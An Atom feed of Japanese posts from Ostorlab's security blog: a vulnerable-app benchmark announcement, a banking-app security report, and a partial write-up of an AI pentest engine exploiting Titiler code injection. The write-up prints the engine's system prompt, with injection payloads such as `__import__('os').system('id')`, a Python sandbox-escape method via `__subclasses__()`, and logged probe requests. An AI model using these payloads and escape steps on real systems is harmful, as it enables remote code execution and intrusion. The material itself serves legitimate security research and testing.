&lt;p&gt;解釈：署名が破損しているにもかかわらず、クレームチェック（依然として発行者）が実行され続けます。順序の設定が誤っています。&lt;/p&gt;
&lt;h1 id="結論"&gt;結論&lt;/h1&gt;
&lt;p&gt;ルールベースのスキャナーは、既知のものに対する速度とカバレッジに優れていますが、未知のものや単発のものは必然的に見逃します。ここで取り上げたケースは、そのギャップを具体的に示しています。&lt;/p&gt;
&lt;p&gt;OstorlabのAIエンジンのような推論駆動型AIは、仮説を立て、リアルタイムで探索を調整し、どんな固定ルールも予期しなかった脆弱性を表面化させることで、このギャップを埋めます。その結果として、異なる（より多くの）バグを見つける、補完的な戦略が生まれます。  &lt;/p&gt;</content><category term="Security"/><category term="security"/><category term="AI"/><category term="pentest"/><category term="android"/><category term="ios"/><category term="web"/><category term="api"/></entry><entry><title>Ostorlab Security Testing Benchmarksの紹介：現実の脆弱性、現実の影響</title><link href="https://blog.ostorlab.co/ja/ostorlab-security-testing-benchmark-open-source.html" rel="alternate"/><published>2025-09-22T16:20:00+02:00</published><updated>2025-09-22T16:20:00+02:00</updated><author><name>Ostorlab Team</name></author><id>tag:blog.ostorlab.co,2025-09-22:/ja/ostorlab-security-testing-benchmark-open-source.html</id><summary type="html">&lt;p&gt;実際のCVEやバグバウンティの検出結果を反映した、93個の現実的な脆弱モバイルアプリを備えた初のオープンソースベンチマークスイートです。理論的な教科書の例ではありません。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;一言で言うと：&lt;/strong&gt;実際のCVEやバグバウンティの検出結果を反映した、93個の現実的な脆弱モバイルアプリを備えた初のオープンソースベンチマークスイートです。理論的な教科書の例ではありません。&lt;/p&gt;
&lt;h3 id="私たちが解決しようとしている課題"&gt;私たちが解決しようとしている課題&lt;/h3&gt;
&lt;p&gt;セキュリティチームは、本番環境には決して現れない非現実的で学術的な脆弱性に対して自動テストツールを検証するのに、数え切れないほどの時間を浪費しています。&lt;strong&gt;知るべきなのは、自社のセキュリティスキャナーが、現実のアプリがまず出荷しないであろうログインフォームの100万回目のSQLインジェクションではなく、数百万ドルの損失につながりかねないPINバイパスを捕捉できるかどうかです。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;数千件のバグバウンティレポートとCVEを分析した結果、業界には、セキュリティチームが「実際に」懸念していることを反映したベンチマークが切実に必要だと気づきました。従来のベンチマークが無視してきた、ロジックの不具合、認証バイパス、そして複雑な脆弱性チェーンです。&lt;/p&gt;
&lt;h3 id="私たちのソリューション:現実に基づいたセキュリティテスト"&gt;私たちのソリューション：現実に基づいたセキュリティテスト&lt;/h3&gt;
&lt;p&gt;最も頻繁に報告される実世界の脆弱性をまとめた&lt;strong&gt;93個の脆弱なモバイルアプリケーション&lt;/strong&gt;（Android 72個、iOS 21個）をオープンソース化しました。各アプリは、銀行アプリからイベントトラッカーまで、本番環境で見られる実際の機能を表しており、本物のセキュリティインシデントを反映した脆弱性を備えています。&lt;/p&gt;
&lt;h3 id="✨ 何が違うのか"&gt;✨ 何が違うのか&lt;/h3&gt;
&lt;p&gt;&amp;bull; &lt;strong&gt;実世界のアプリケーション&lt;/strong&gt;：おもちゃのような例ではなく、現実的な機能を備えた実際の銀行アプリ、送金システム、イベントトラッカーです&lt;br/&gt;
&amp;bull; &lt;strong&gt;バグバウンティに着想を得た内容&lt;/strong&gt;：すべての脆弱性は、実際に金銭的価値のあったCVEレポートやバグバウンティの検出結果に基づいています&lt;br/&gt;
&amp;bull; &lt;strong&gt;自動化の難しさ&lt;/strong&gt;：PINバイパスやOAuthアカウント乗っ取りのような、従来「自動化は不可能」とされてきたロジックの不具合を含みます&lt;br/&gt;
&amp;bull; &lt;strong&gt;網羅的なカバレッジ&lt;/strong&gt;：モバイルプラットフォーム全体で70種類以上の脆弱性クラス&lt;/p&gt;
&lt;h3 id="🎯 誰が使うべきか"&gt;🎯 誰が使うべきか&lt;/h3&gt;
&lt;p&gt;&amp;bull; &lt;strong&gt;セキュリティツール開発者&lt;/strong&gt;：学術的な演習ではなく、現実の脆弱性に対してSAST/DASTツールを検証できます&lt;br/&gt;
&amp;bull; &lt;strong&gt;セキュリティチーム&lt;/strong&gt;：現実的なテストケースを用いて、さまざまなスキャンソリューションをベンチマークし比較できます&lt;br/&gt;
&amp;bull; &lt;strong&gt;研究者&lt;/strong&gt;：現実の脆弱性がモバイルアプリケーションでどのように現れるかを研究できます&lt;br/&gt;
&amp;bull; &lt;strong&gt;ペンテスター&lt;/strong&gt;：実際の顧客環境を反映したアプリケーションで訓練できます&lt;/p&gt;
&lt;h3 id="📱 含まれるサンプルアプリケーション"&gt;📱 含まれるサンプルアプリケーション&lt;/h3&gt;
&lt;p&gt;各アプリケーションは、脆弱性が組み込まれた実世界のユースケースを表しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/Ostorlab/benchmarks/pull/102"&gt;&lt;strong&gt;銀行アプリ&lt;/strong&gt;&lt;/a&gt;：認証バイパス、安全でないデータ保存  &lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Ostorlab/benchmarks/pull/103"&gt;&lt;strong&gt;送金&lt;/strong&gt;&lt;/a&gt;：トランザクションの改ざん、セッション管理の不備  &lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Ostorlab/benchmarks/pull/126"&gt;&lt;strong&gt;イベントトラッカー&lt;/strong&gt;&lt;/a&gt;：プライバシーの漏えい、インテントリダイレクトの脆弱性&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="🔍 注目の脆弱性クラス"&gt;🔍 注目の脆弱性クラス&lt;/h3&gt;
&lt;p&gt;基本的なOWASP Top 10に焦点を当てた従来のベンチマークとは異なり、複雑で実世界に即した脆弱性パターンを含みます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;認証と認可&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PIN/パスコードのバイパス  &lt;/li&gt;
&lt;li&gt;2FAバイパスの仕組み  &lt;/li&gt;
&lt;li&gt;OAuthアカウント乗っ取り（PKCEなし）  &lt;/li&gt;
&lt;li&gt;生体認証のバイパス  &lt;/li&gt;
&lt;li&gt;パスワード変更後のセッションの永続化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;データの露出&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Firebaseデータベースの乗っ取り  &lt;/li&gt;
&lt;li&gt;平文保存された機微なデータ  &lt;/li&gt;
&lt;li&gt;Google広告IDの不正利用  &lt;/li&gt;
&lt;li&gt;位置情報データの露出  &lt;/li&gt;
&lt;li&gt;本番コード内のハードコードされたシークレット&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;複雑なロジックの不具合&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;インテントリダイレクトの脆弱性  &lt;/li&gt;
&lt;li&gt;タスクハイジャックのシナリオ  &lt;/li&gt;
&lt;li&gt;ブロードキャストインジェクション攻撃  &lt;/li&gt;
&lt;li&gt;WebView JavaScriptブリッジの悪用  &lt;/li&gt;
&lt;li&gt;ZIP処理におけるパストラバーサル&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;プラットフォーム固有の問題&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Android固有：&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;タップジャッキングの脆弱性  &lt;/li&gt;
&lt;li&gt;保護されていない重要なアクティビティ/サービス  &lt;/li&gt;
&lt;li&gt;プロバイダーのSQLインジェクション  &lt;/li&gt;
&lt;li&gt;Grant URIパーミッションの昇格&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;iOS固有：&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ディープリンクのCSRF攻撃  &lt;/li&gt;
&lt;li&gt;WebKitによる内部ファイルへのアクセス  &lt;/li&gt;
&lt;li&gt;URLリンクのなりすまし  &lt;/li&gt;
&lt;li&gt;プロモーションコードのブルートフォース  &lt;/li&gt;
&lt;li&gt;暗号化されていないセッション情報の露出&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="🚦 はじめかた"&gt;🚦 はじめかた&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Clone the repository&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/Ostorlab/benchmarks.git

&lt;span class="c1"&gt;# Navigate to Android or iOS samples&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;benchmarks/mobile/android&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# or benchmarks/mobile/ios&lt;/span&gt;

&lt;span class="c1"&gt;# Each app includes:&lt;/span&gt;
&lt;span class="c1"&gt;# - Source code&lt;/span&gt;
&lt;span class="c1"&gt;# - Build instructions&lt;/span&gt;
&lt;span class="c1"&gt;# - Vulnerability documentation&lt;/span&gt;
&lt;span class="c1"&gt;# - Exploitation guides&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="📊 なぜこれが重要なのか"&gt;📊 なぜこれが重要なのか&lt;/h3&gt;
&lt;p&gt;DVWAやGoatDroidのような従来の脆弱アプリ集は学習目的では役割を果たしますが、現代のモバイルセキュリティの課題を表現できていません。&lt;strong&gt;私たちのベンチマークは、学術的な演習と実世界のセキュリティテストとの間のギャップを埋めます。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;考えてみてください。典型的なセキュリティスキャナーは、テストアプリ内のSQLインジェクションを100%捕捉できるかもしれませんが、実際のバグバウンティの報奨金の60%を占める重要なロジックの不具合を見逃すかもしれません。これらのベンチマークは、本当に重要なことを測定できるようにします。&lt;/p&gt;
&lt;h3 id="🤝 ムーブメントに参加する"&gt;🤝 ムーブメントに参加する&lt;/h3&gt;
&lt;p&gt;私たちは、現実的なセキュリティテストを中心としたコミュニティを築いています。貢献の方法は次のとおりです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;開発者向け：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/Ostorlab/benchmarks/blob/main/CONTRIBUTING.md"&gt;コントリビューションガイド&lt;/a&gt;に従って、新しい脆弱なアプリを追加する  &lt;/li&gt;
&lt;li&gt;既存の脆弱性を新しいプラットフォームに移植する  &lt;/li&gt;
&lt;li&gt;ドキュメントや悪用ガイドを改善する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;セキュリティチーム向け：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;実際に見かけた脆弱性パターンを共有する  &lt;/li&gt;
&lt;li&gt;ベンチマークの妥当性についてフィードバックを提供する  &lt;/li&gt;
&lt;li&gt;新しい脆弱性の追加の優先順位付けを手伝う&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ツールベンダー向け：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自社のツールをテストし、検出率を共有する  &lt;/li&gt;
&lt;li&gt;検出ロジックの改善に貢献する  &lt;/li&gt;
&lt;li&gt;特定の脆弱性カテゴリの開発をスポンサーする&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="📈 現在のステータスとロードマップ"&gt;📈 現在のステータスとロードマップ&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;現在利用可能：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ Androidの脆弱なアプリケーション72個  &lt;/li&gt;
&lt;li&gt;✅ iOSの脆弱なアプリケーション21個  &lt;/li&gt;
&lt;li&gt;✅ 70種類以上の脆弱性クラス  &lt;/li&gt;
&lt;li&gt;✅ 網羅的なドキュメント&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;近日公開：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;🔄 Flutter/React Nativeハイブリッドアプリの脆弱性  &lt;/li&gt;
&lt;li&gt;🔄 CI/CD連携の例  &lt;/li&gt;
&lt;li&gt;🔄 自動ベンチマークスコアリングシステム  &lt;/li&gt;
&lt;li&gt;🔄 結果比較のためのWebダッシュボード&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="💬 参加する"&gt;💬 参加する&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;GitHub：&lt;/strong&gt; &lt;a href="https://github.com/Ostorlab/benchmarks"&gt;github.com/Ostorlab/benchmarks&lt;/a&gt;&lt;br/&gt;
&lt;strong&gt;コントリビューション：&lt;/strong&gt; &lt;a href="https://github.com/Ostorlab/benchmarks/blob/main/CONTRIBUTING.md"&gt;ガイドを読む&lt;/a&gt;&lt;br/&gt;
&lt;strong&gt;ディスカッション：&lt;/strong&gt; 質問や提案はissueを作成してください&lt;br/&gt;
&lt;strong&gt;Twitter：&lt;/strong&gt; 最新情報は&lt;a href="https://twitter.com/OstorlabSec"&gt;@OstorlabSec&lt;/a&gt;をフォローしてください&lt;/p&gt;</content><category term="Security"/><category term="security"/><category term="open-source"/><category term="android"/><category term="ios"/></entry><entry><title>Banking Report 2025：モバイル金融の中核を担うセキュリティ</title><link href="https://blog.ostorlab.co/ja/banking-report-2025.html" rel="alternate"/><published>2025-09-15T10:00:00+02:00</published><updated>2025-10-23T16:58:00+02:00</updated><author><name>Ostorlab Team</name></author><id>tag:blog.ostorlab.co,2025-09-15:/ja/banking-report-2025.html</id><summary type="html">&lt;p&gt;上位500以上のモバイルバンキングアプリを対象とした大規模なセキュリティ分析により、広範な脆弱性、10年前のコードベース、懸念すべきバックエンド集中のパターンが明らかになりました。&lt;/p&gt;</summary><content type="html">&lt;p&gt;当社は、上位500以上のモバイルバンキングアプリを対象とした大規模な調査を実施しました。今回が2回目の調査です。分析の結果、かなりの割合が10年前のリリースであることがわかりました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iOSでは&lt;/strong&gt;、25%が2008年から2011年の間に、22%が2011年から2014年の間にリリースされています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Androidでは&lt;/strong&gt;、27%が2010年から2013年の間にリリースされています。&lt;/p&gt;
&lt;p&gt;良い面としては、生体認証の採用が進み、&lt;strong&gt;アプリの65%&lt;/strong&gt;に搭載されています。一方で、ヘルスケアデータへのアクセス、広告トラッキング、常時オンのBluetoothといった通常とは異なる権限は、プライバシー上の懸念を生じさせています。&lt;/p&gt;
&lt;h2 id="バックエンドの集中"&gt;バックエンドの集中&lt;/h2&gt;
&lt;p&gt;バックエンド側では、集中化が共通のパターンとなっています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;iOSアプリの78%&lt;/strong&gt;は2つ以下のバックエンドに接続&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Androidアプリの62%&lt;/strong&gt;は19以下のバックエンドに接続&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バンキングアプリのバックエンドの77%超が米国に所在&lt;/strong&gt;しており、システミックリスクに関する指摘を裏付けている&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="セキュリティ上の欠陥は依然として広範に存在"&gt;セキュリティ上の欠陥は依然として広範に存在&lt;/h2&gt;
&lt;p&gt;セキュリティ上の欠陥は依然として広く見られます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ハードコードされたシークレット&lt;/strong&gt;は&lt;strong&gt;アプリの50%超&lt;/strong&gt;に影響し、APIキー、トークン、認証情報がコード内で露出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;古いライブラリ&lt;/strong&gt;は&lt;strong&gt;アプリの46%&lt;/strong&gt;に影響&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生体認証バイパスの脆弱性&lt;/strong&gt;は&lt;strong&gt;28%&lt;/strong&gt;に存在&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;平文のHTTP&lt;/strong&gt;は&lt;strong&gt;20%&lt;/strong&gt;に存在&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの調査結果は、金融機関がセキュリティアップデートを優先し、レガシーなコードベースを刷新し、開発ライフサイクル全体を通じて包括的なセキュリティテストを実施することが急務であることを示しています。&lt;/p&gt;
&lt;p&gt;さらに詳しい知見については、完全版レポートをこちらからご覧ください：&lt;a href="https://www.linkedin.com/feed/update/urn:li:activity:7369056752627101700"&gt;LinkedInの投稿&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="完全版レポート"&gt;完全版レポート&lt;/h2&gt;
&lt;div style="position: relative; width: 100%; height: 800px; border: 1px solid #ddd; border-radius: 8px; overflow: hidden; margin: 20px 0;"&gt;
&lt;iframe height="100%" src="/static/files/banking_report_2025.pdf" style="border: none;" title="Banking Report 2025 完全版PDF" width="100%"&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;完全版の記事はこちらからダウンロード&lt;/strong&gt;：&lt;a href="/static/files/banking_report_2025.pdf"&gt;Banking Report 2025 PDF&lt;/a&gt;&lt;/p&gt;</content><category term="Security"/><category term="mobile"/><category term="banking"/><category term="security"/><category term="research"/></entry><entry><title>セキュリティ研究の自動化：AIエンジンが複雑なブラインドコードインジェクションを悪用</title><link href="https://blog.ostorlab.co/ja/titiler-python-code-injection-ai-poc.html" rel="alternate"/><published>2025-09-04T16:20:00+02:00</published><updated>2025-09-04T16:20:00+02:00</updated><author><name>Ostorlab Team</name></author><id>tag:blog.ostorlab.co,2025-09-04:/ja/titiler-python-code-injection-ai-poc.html</id><summary type="html">&lt;p&gt;精密さはペイロードの乱れ打ちに勝ります。OstorlabのAIエンジンを用いてTitilerへのRCEを体系的に成立させ、スタックトレースを一度も用いずにデータ持ち出しを実証します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;従来の脆弱性の悪用では、実際に悪用を成功させるまでに、手動テストで数日、場合によっては数週間を要することがあります。同じバグが専門化されたAIシステムによって数分で悪用される様子を目の当たりにすると、強い不安を覚えます。とりわけ、こうしたシステムが実行のたびに異なる悪用手法を示す場合はなおさらです。&lt;/p&gt;
&lt;p&gt;XbowのAIテストエンジンは先日、オープンソースアプリケーションであるTitilerにおいてPythonコード実行の脆弱性を特定しました。このコードインジェクションはその複雑さで際立っており、単純な実行の脆弱性とは程遠く、悪用を成功させるには高度にカスタマイズされたペイロードを必要とします。&lt;/p&gt;
&lt;p&gt;この発見が特に興味深いのは、検出の余地がごくわずかだった点です。詳しく分析したところ、この脆弱性は、テストされた数百のペイロードの中に含まれていた、たった一つの洗練されたペイロードのおかげで特定されました。テストの手札にこの特定のペイロードがなければ、この脆弱性はおそらく検出されないままだったでしょう。&lt;/p&gt;
&lt;p&gt;以下では、同じ脆弱性を根本的に異なるアプローチで発見する方法を示します。それは、エクスプロイトのペイロードを一つずつ体系的に組み立て、最終的に予期しない悪用ベクトルを明らかにするアプローチです。&lt;/p&gt;
&lt;p&gt;「特定のペイロードにたどり着く」ことから&lt;strong&gt;反復的な学習を伴う体系的な検出&lt;/strong&gt;を実現することへの移行には、システムプロンプトの大幅な改良と、当社のコンテキストエンジニアリングアーキテクチャの大きな改善が必要でした。&lt;/p&gt;
&lt;p&gt;この体系的なアプローチは、はっきりと区別された複数のフェーズで展開されます。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;&lt;strong&gt;フェーズ1：初期プロービング&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;まず、サーバーが入力をどのように処理するかを理解するために、以下の特定のペイロードを用いて、一般的で直接的なインジェクションの脆弱性をテストします。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;入力の解析と反映の検出&lt;/strong&gt;：  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ペイロード&lt;/strong&gt;：&lt;code&gt;a'"&amp;lt;&amp;gt;&amp;amp;z&lt;/code&gt; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;理由&lt;/strong&gt;：特殊文字がどのように扱われるかを確認するためです。そのまま反映されるのか、HTMLエンコードされるのか、それとも削除されるのか。これはコンテキスト（例：HTML、JSON）を理解するのに役立ちます。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;型制約とエラー処理の検出&lt;/strong&gt;：  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ペイロード&lt;/strong&gt;：パラメーターが数値（例：&lt;code&gt;id=123&lt;/code&gt;）を期待している場合、文字列（&lt;code&gt;id=abc&lt;/code&gt;）を送信します。  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;理由&lt;/strong&gt;：&lt;code&gt;TypeError&lt;/code&gt; などのエラーは、サーバーが入力を処理していることを明らかにし、バックエンドの言語やフレームワークに関する手がかりを与える場合があります。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;コード評価（数式）の検出&lt;/strong&gt;：  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SSTI用のペイロード&lt;/strong&gt;：&lt;code&gt;{{7*7}}&lt;/code&gt;、&lt;code&gt;${7*7}&lt;/code&gt;、&lt;code&gt;#{7*7}&lt;/code&gt; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;理由&lt;/strong&gt;：サーバーが &lt;code&gt;49&lt;/code&gt; を返す場合、テンプレートエンジンが入力を評価していることが確認できます。これはSSTIの強力な兆候です。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;直接評価用のペイロード&lt;/strong&gt;：&lt;code&gt;1/0&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;理由&lt;/strong&gt;：これは &lt;code&gt;ZeroDivisionError&lt;/code&gt; を引き起こす可能性があり、生の式が評価されていることを確認できます。これはオラクルを特定するうえで重要なステップです。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;直接的なRCEの試行&lt;/strong&gt;：  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ペイロード&lt;/strong&gt;：&lt;code&gt;__import__('os').system('id')&lt;/code&gt; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;理由&lt;/strong&gt;：これが最終的な目標です。これが機能すれば、クリティカルな脆弱性を発見したことになります。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これらの初期プローブで脆弱性が明らかになった場合は、ペイロードとエビデンスとともに報告します。ブロックされたり決定的でなかったりした場合は、収集した情報を活用して、以下のコア手法に進みます。&lt;/p&gt;
&lt;p&gt;プローブが成功した場合、第2フェーズでは反復的なペイロード構築を試みます&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="フェーズ2:コア手法 - 反復的なペイロード構築"&gt;フェーズ2：コア手法 - 反復的なペイロード構築&lt;/h3&gt;
&lt;p&gt;これは、複雑なPythonインジェクションの脆弱性を発見し悪用するための主要な手法です。単純なペイロードが失敗した場合は、サーバーのレスポンス（特にエラー）をオラクルとして利用し、動作するペイロードを一つずつ組み立てていきます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基礎となる原理（なぜこれが機能するのか）&lt;/strong&gt;：&lt;code&gt;globals&lt;/code&gt; や &lt;code&gt;__builtins__&lt;/code&gt; が制限された（&lt;code&gt;eval(code, {'__builtins__':{}})&lt;/code&gt; のような）厳重にサンドボックス化されたPython環境であっても、重大な抜け道が残っていることがよくあります。それはオブジェクト階層へのアクセスです。単純で無害なオブジェクト（空文字列 &lt;code&gt;''&lt;/code&gt; やタプル &lt;code&gt;()&lt;/code&gt; など）から始めることで、そのクラスを取得し、継承ツリーを基底の &lt;code&gt;&amp;lt;class 'object'&amp;gt;&lt;/code&gt; までさかのぼり、その &lt;code&gt;__subclasses__()&lt;/code&gt; メソッドを利用できます。これにより、アプリケーションのメモリにロードされているすべてのクラスの一覧が得られ、完全なサンドボックス脱出とRCEを実現するために利用できる強力な組み込みモジュールや関数へのマップが事実上手に入ります。以下のステップは、まさにこの手法を実装したものです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ1：オラクル（フィードバックの仕組み）の特定&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アクション&lt;/strong&gt;：まず、サーバーから詳細なフィードバックを得る方法を見つける必要があります。エラーメッセージは完璧なオラクルです。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ペイロード&lt;/strong&gt;：&lt;code&gt;{{ invalid_syntax' }}&lt;/code&gt;、&lt;code&gt;{{ 1/0 }}&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目標&lt;/strong&gt;：予測可能なエラー（例：スタックトレースを伴う500 Internal Server Error）を引き起こします。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指示&lt;/strong&gt;：見つけたら、オラクルが何であるかを明確に述べます。例：「オラクルはHTTPレスポンス内のJinja2のトレースバックです」。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ステップ2：動作するベースからペイロードを段階的に構築する&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ペイロードは、既知の正常な土台から出発して、一歩ずつ構築しなければなりません。現在のステップが機能することを確認するまで、次のステップに進んではいけません。各ステップは、直前に成功したステップの上に積み重ねていきます。あるステップが失敗した場合は、エラーを分析し、続行する前にアプローチを適応させる必要があります。  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;動作するベースを確立する&lt;/strong&gt;：サーバーがエラーなく評価する単純な式を見つけます。これが土台になります。  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;増分1：そのクラスへのアクセス&lt;/strong&gt;：動作するベースから、属性にアクセスします。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;増分2：基底の &lt;code&gt;object&lt;/code&gt; クラスへのアクセス&lt;/strong&gt;：  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;増分3：すべてのサブクラスを見つける&lt;/strong&gt;：  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;増分4：RCEに役立つサブクラスを見つける&lt;/strong&gt;：サブクラスを絞り込み、&lt;code&gt;os&lt;/code&gt; のような役立つモジュールに含まれるものを見つけます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;増分5：モジュールのグローバル変数へのアクセス&lt;/strong&gt;：  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最終ステップ：コマンドの実行&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;適切に構造化されたシステムプロンプトと正しいコンテキストがなければ、当社の経験上、エンジンはこの問題を確認できません。また、ツールを渡しすぎると検出品質の低下につながります。以下は、エンジンがどのように動作するかを示したものです。&lt;/p&gt;
&lt;div class="ai-pentest-session"&gt;
&lt;div class="prompt"&gt;
&lt;p&gt;'expression' パラメーターに無害な数式演算を含めたリクエストを送信し、それがPythonインタープリターによって評価されているかどうかを検証します。目的は、サーバーのレスポンスに元の文字列（例：'7*7'）ではなく計算結果（例：'49'）が含まれているかを観察することであり、これが確認できればコード評価が行われていることが裏付けられます。&lt;/p&gt;
&lt;/div&gt;
&lt;div class="output"&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=7*7"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=7*7&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=7*7 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=1/0"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=1/0&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=1/0 HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression="&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=&lt;/a&gt;'"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=' HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
